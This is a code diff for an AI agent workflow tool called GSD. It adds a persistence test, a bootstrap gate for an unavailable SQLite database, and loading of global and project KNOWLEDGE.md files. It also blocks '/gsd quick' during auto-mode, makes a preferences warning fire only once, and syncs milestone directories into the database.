+ assert.notDeepEqual(
88
+ afterCloseBuf,
89
+ initialBuf,
90
+ "File should have been written immediately on close()",
91
+ );
92
+
93
+ const reopened = await MemoryStorage.create(dbPath);
94
+ const stats = reopened.getStats();
95
+ assert.equal(stats.totalThreads, 1, "Data should be persisted and readable after close");
96
+ reopened.close();
97
97
  });
98
98
  });
@@ -551,6 +551,20 @@ export async function bootstrapAutoSession(
551
551
  }
552
552
  }
553
553
 
554
+ // Gate: abort bootstrap if the DB file exists but the provider is
555
+ // still unavailable after both open attempts above. Without this,
556
+ // auto-mode starts but every gsd_task_complete / gsd_slice_complete
557
+ // call returns "db_unavailable", triggering artifact-retry which
558
+ // re-dispatches the same task — producing an infinite loop (#2419).
559
+ if (existsSync(gsdDbPath) && !isDbAvailable()) {
560
+ ctx.ui.notify(
561
+ "SQLite database exists but failed to open. Auto-mode cannot proceed without a working database provider. " +
562
+ "Check for corrupt gsd.db or missing native SQLite bindings.",
563
+ "error",
564
+ );
565
+ return releaseLockAndReturn();
566
+ }
567
+
554
568
  // Initialize metrics
555
569
  initMetrics(s.basePath);
556
570
 
@@ -64,17 +64,12 @@ export async function buildBeforeAgentStartResult(
64
64
  }
65
65
  }
66
66
 
67
- let knowledgeBlock = "";
68
- const knowledgePath = resolveGsdRootFile(process.cwd(), "KNOWLEDGE");
69
- if (existsSync(knowledgePath)) {
70
- try {
71
- const content = readFileSync(knowledgePath, "utf-8").trim();
72
- if (content) {
73
- knowledgeBlock = `\n\n[PROJECT KNOWLEDGE — Rules, patterns, and lessons learned]\n\n${content}`;
74
- }
75
- } catch {
76
- // skip
77
- }
67
+ const { block: knowledgeBlock, globalSizeKb } = loadKnowledgeBlock(gsdHome, process.cwd());
68
+ if (globalSizeKb > 4) {
69
+ ctx.ui.notify(
70
+ `GSD: ~/.gsd/agent/KNOWLEDGE.md is ${globalSizeKb.toFixed(1)}KB — consider trimming to keep system prompt lean.`,
71
+ "warning",
72
+ );
78
73
  }
79
74
 
80
75
  let memoryBlock = "";
@@ -126,6 +121,48 @@ export async function buildBeforeAgentStartResult(
126
121
  };
127
122
  }
128
123
 
124
+ export function loadKnowledgeBlock(gsdHomeDir: string, cwd: string): { block: string; globalSizeKb: number } {
125
+ // 1. Global knowledge (~/.gsd/agent/KNOWLEDGE.md) — cross-project, user-maintained
126
+ let globalKnowledge = "";
127
+ let globalSizeKb = 0;
128
+ const globalKnowledgePath = join(gsdHomeDir, "agent", "KNOWLEDGE.md");
129
+ if (existsSync(globalKnowledgePath)) {
130
+ try {
131
+ const content = readFileSync(globalKnowledgePath, "utf-8").trim();
132
+ if (content) {
133
+ globalSizeKb = Buffer.byteLength(content, "utf-8") / 1024;
134
+ globalKnowledge = content;
135
+ }
136
+ } catch {
137
+ // skip
138
+ }
139
+ }
140
+
141
+ // 2. Project knowledge (.gsd/KNOWLEDGE.md) — project-specific
142
+ let projectKnowledge = "";
143
+ const knowledgePath = resolveGsdRootFile(cwd, "KNOWLEDGE");
144
+ if (existsSync(knowledgePath)) {
145
+ try {
146
+ const content = readFileSync(knowledgePath, "utf-8").trim();
147
+ if (content) projectKnowledge = content;
148
+ } catch {
149
+ // skip
150
+ }
151
+ }
152
+
153
+ if (!globalKnowledge && !projectKnowledge) {
154
+ return { block: "", globalSizeKb: 0 };
155
+ }
156
+
157
+ const parts: string[] = [];
158
+ if (globalKnowledge) parts.push(`## Global Knowledge\n\n${globalKnowledge}`);
159
+ if (projectKnowledge) parts.push(`## Project Knowledge\n\n${projectKnowledge}`);
160
+ return {
161
+ block: `\n\n[KNOWLEDGE — Rules, patterns, and lessons learned]\n\n${parts.join("\n\n")}`,
162
+ globalSizeKb,
163
+ };
164
+ }
165
+
129
166
  function buildWorktreeContextBlock(): string {
130
167
  const worktreeName = getActiveWorktreeName();
131
168
  const worktreeMainCwd = getWorktreeOriginalCwd();
@@ -188,6 +188,14 @@ export async function handleWorkflowCommand(trimmed: string, ctx: ExtensionComma
188
188
  return true;
189
189
  }
190
190
  if (trimmed === "quick" || trimmed.startsWith("quick ")) {
191
+ if (isAutoActive()) {
192
+ ctx.ui.notify(
193
+ "/gsd quick cannot run while auto-mode is active.\n" +
194
+ "Stop auto-mode first with /gsd stop, then run /gsd quick.",
195
+ "error",
196
+ );
197
+ return true;
198
+ }
191
199
  await handleQuick(trimmed.replace(/^quick\s*/, "").trim(), ctx, pi);
192
200
  return true;
193
201
  }
@@ -196,6 +196,13 @@ function loadPreferencesFile(path: string, scope: "global" | "project"): LoadedG
196
196
  };
197
197
  }
198
198
 
199
+ let _warnedUnrecognizedFormat = false;
200
+
201
+ /** @internal Reset the warn-once flag — exported for testing only. */
202
+ export function _resetParseWarningFlag(): void {
203
+ _warnedUnrecognizedFormat = false;
204
+ }
205
+
199
206
  /** @internal Exported for testing only */
200
207
  export function parsePreferencesMarkdown(content: string): GSDPreferences | null {
201
208
  // Use indexOf instead of [\s\S]*? regex to avoid backtracking (#468)
@@ -214,7 +221,10 @@ export function parsePreferencesMarkdown(content: string): GSDPreferences | null
214
221
  return parseHeadingListFormat(content);
215
222
  }
216
223
 
217
- console.warn("[parsePreferencesMarkdown] preferences.md exists but uses an unrecognized format — skipping.");
224
+ if (!_warnedUnrecognizedFormat) {
225
+ _warnedUnrecognizedFormat = true;
226
+ console.warn("[parsePreferencesMarkdown] preferences.md exists but uses an unrecognized format — skipping.");
227
+ }
218
228
  return null;
219
229
  }
220
230
 
@@ -48,6 +48,7 @@ import {
48
48
  getSliceTasks,
49
49
  getReplanHistory,
50
50
  getSlice,
51
+ insertMilestone,
51
52
  type MilestoneRow,
52
53
  type SliceRow,
53
54
  type TaskRow,
@@ -257,7 +258,24 @@ function isStatusDone(status: string): boolean {
257
258
  export async function deriveStateFromDb(basePath: string): Promise<GSDState> {
258
259
  const requirements = parseRequirementCounts(await loadFile(resolveGsdRootFile(basePath, "REQUIREMENTS")));
259
260
 
260
- const allMilestones = getAllMilestones();
261
+ let allMilestones = getAllMilestones();
262
+
263
+ // Incremental disk→DB sync: milestone directories created outside the DB
264
+ // write path (via /gsd queue, manual mkdir, or complete-milestone writing the
265
+ // next CONTEXT.md) are never inserted by the initial migration guard in
266
+ // auto-start.ts because that guard only runs when gsd.db doesn't exist yet.
267
+ // Reconcile here so deriveStateFromDb never silently misses queued milestones.
268
+ // insertMilestone uses INSERT OR IGNORE, so this is safe to call every time.
269
+ const dbIdSet = new Set(allMilestones.map(m => m.id));
270
+ const diskIds = findMilestoneIds(basePath);
271
+ let synced = false;
272
+ for (const diskId of diskIds) {
273
+ if (!dbIdSet.has(diskId) && !isGhostMilestone(basePath, diskId)) {
274
+ insertMilestone({ id: diskId, status: 'active' });
275
+ synced = true;
276
+ }
277
+ }
278
+ if (synced) allMilestones = getAllMilestones();
261
279
 
262
280
  // Parallel worker isolation: when locked, filter to just the locked milestone
263
281
  const milestoneLock = process.env.GSD_MILESTONE_LOCK;